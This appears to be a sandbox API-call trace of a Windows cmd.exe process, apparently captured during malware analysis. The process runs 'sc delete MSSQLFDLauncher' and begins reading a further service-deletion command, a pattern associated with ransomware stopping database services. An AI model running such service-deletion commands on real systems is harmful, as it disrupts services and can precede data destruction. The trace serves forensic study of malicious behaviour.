hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0073.806] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0073.806] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0073.806] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0073.806] GetProcessHeap () returned 0x240000 [0073.806] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0073.806] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0073.806] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0073.806] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0073.807] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0073.807] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0073.807] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0073.807] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0073.807] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0073.807] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0073.807] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0073.807] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0073.807] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0073.807] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0073.807] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0073.807] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0073.807] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0073.807] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0073.807] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0073.807] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0073.807] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0073.807] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0073.807] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0073.807] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0073.807] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0073.807] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0073.807] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0073.807] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0073.807] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0073.808] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0073.808] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0073.808] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0073.808] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0073.808] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0073.808] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0073.808] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0073.808] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0073.808] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0073.808] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0073.808] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0073.808] GetProcessHeap () returned 0x240000 [0073.808] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0073.808] GetProcessHeap () returned 0x240000 [0073.808] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0073.808] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete MSSQLFDLauncher", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete MSSQLFDLauncher", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete MSSQLFDLauncher", lpProcessInformation=0x1af360*(hProcess=0x54, hThread=0x50, dwProcessId=0x954, dwThreadId=0x964)) returned 1 [0073.812] CloseHandle (hObject=0x50) returned 1 [0073.812] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0073.812] GetProcessHeap () returned 0x240000 [0073.812] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0073.813] GetEnvironmentStringsW () returned 0x261b10* [0073.813] GetProcessHeap () returned 0x240000 [0073.813] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0073.813] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0073.813] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0073.813] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd9000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0073.813] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0074.167] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0074.168] CloseHandle (hObject=0x54) returned 1 [0074.168] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0074.168] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0074.168] GetProcessHeap () returned 0x240000 [0074.168] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0074.168] GetEnvironmentStringsW () returned 0x261b10* [0074.168] GetProcessHeap () returned 0x240000 [0074.168] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0074.168] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0074.168] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0074.168] GetProcessHeap () returned 0x240000 [0074.169] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0074.169] GetEnvironmentStringsW () returned 0x261b10* [0074.169] GetProcessHeap () returned 0x240000 [0074.169] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0074.169] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0074.169] GetProcessHeap () returned 0x240000 [0074.169] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0074.169] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0074.169] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0074.170] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.170] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0074.170] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.170] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0074.170] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.170] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0074.170] GetConsoleOutputCP () returned 0x1b5 [0074.171] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0074.171] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0074.171] GetProcessHeap () returned 0x240000 [0074.171] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0074.171] GetProcessHeap () returned 0x240000 [0074.171] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0074.171] GetProcessHeap () returned 0x240000 [0074.171] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0074.171] GetProcessHeap () returned 0x240000 [0074.171] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0074.171] GetProcessHeap () returned 0x240000 [0074.172] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa90 | out: hHeap=0x240000) returned 1 [0074.172] GetProcessHeap () returned 0x240000 [0074.172] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0074.172] GetProcessHeap () returned 0x240000 [0074.172] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa40 | out: hHeap=0x240000) returned 1 [0074.172] GetProcessHeap () returned 0x240000 [0074.172] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0074.172] GetProcessHeap () returned 0x240000 [0074.172] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2597e0 | out: hHeap=0x240000) returned 1 [0074.172] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0074.172] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.172] GetFileType (hFile=0x120) returned 0x3 [0074.172] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.172] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0074.172] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0074.172] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0074.172] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0074.173] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0074.173] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0074.173] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.173] GetFileType (hFile=0x120) returned 0x3 [0074.173] _get_osfhandle (_FileHandle=1) returned 0x120 [0074.173] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0074.173] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0074.173] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.173] GetFileType (hFile=0xb8) returned 0x3 [0074.173] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.173] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.173] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.174] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete MSSQLFDLauncher\nce\n") returned 1 [0074.174] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.174] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.174] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.174] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete MSSQLFDLauncher\nce\n") returned 1 [0074.174] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.174] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.174] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.174] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete MSSQLFDLauncher\nce\n") returned 1 [0074.174] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.174] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.174] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.174] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete MSSQLFDLauncher\nce\n") returned 1 [0074.174] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.174] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.174] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.174] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete MSSQLFDLauncher\nce\n") returned 1 [0074.174] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.175] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.175] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.175] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete MSSQLFDLauncher\nce\n") returned 1 [0074.175] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.175] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.175] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.175] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete MSSQLFDLauncher\nce\n") returned 1 [0074.175] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.175] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.175] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.175] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te MSSQLFDLauncher\nce\n") returned 1 [0074.175] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.175] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.175] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.175] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e MSSQLFDLauncher\nce\n") returned 1 [0074.175] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.175] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.175] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.175] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" MSSQLFDLauncher\nce\n") returned 1 [0074.175] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.175] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.176] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.176] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="MSSQLFDLauncher\nce\n") returned 1 [0074.176] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.176] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.176] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.176] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="SSQLFDLauncher\nce\n") returned 1 [0074.176] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.176] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.176] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.176] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="SQLFDLauncher\nce\n") returned 1 [0074.176] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.176] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.176] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.176] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="QLFDLauncher\nce\n") returned 1 [0074.176] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.176] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.176] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.176] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="LFDLauncher\nce\n") returned 1 [0074.176] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.176] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.176] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.177] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="SDLauncher\nce\n") returned 1 [0074.177] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.177] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.177] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.177] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="ELauncher\nce\n") returned 1 [0074.177] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.177] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.177] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.177] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="Rauncher\nce\n") returned 1 [0074.177] _get_osfhandle (_FileHandle=0) returned 0xb8 [0074.177] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.177] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0074.177] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, 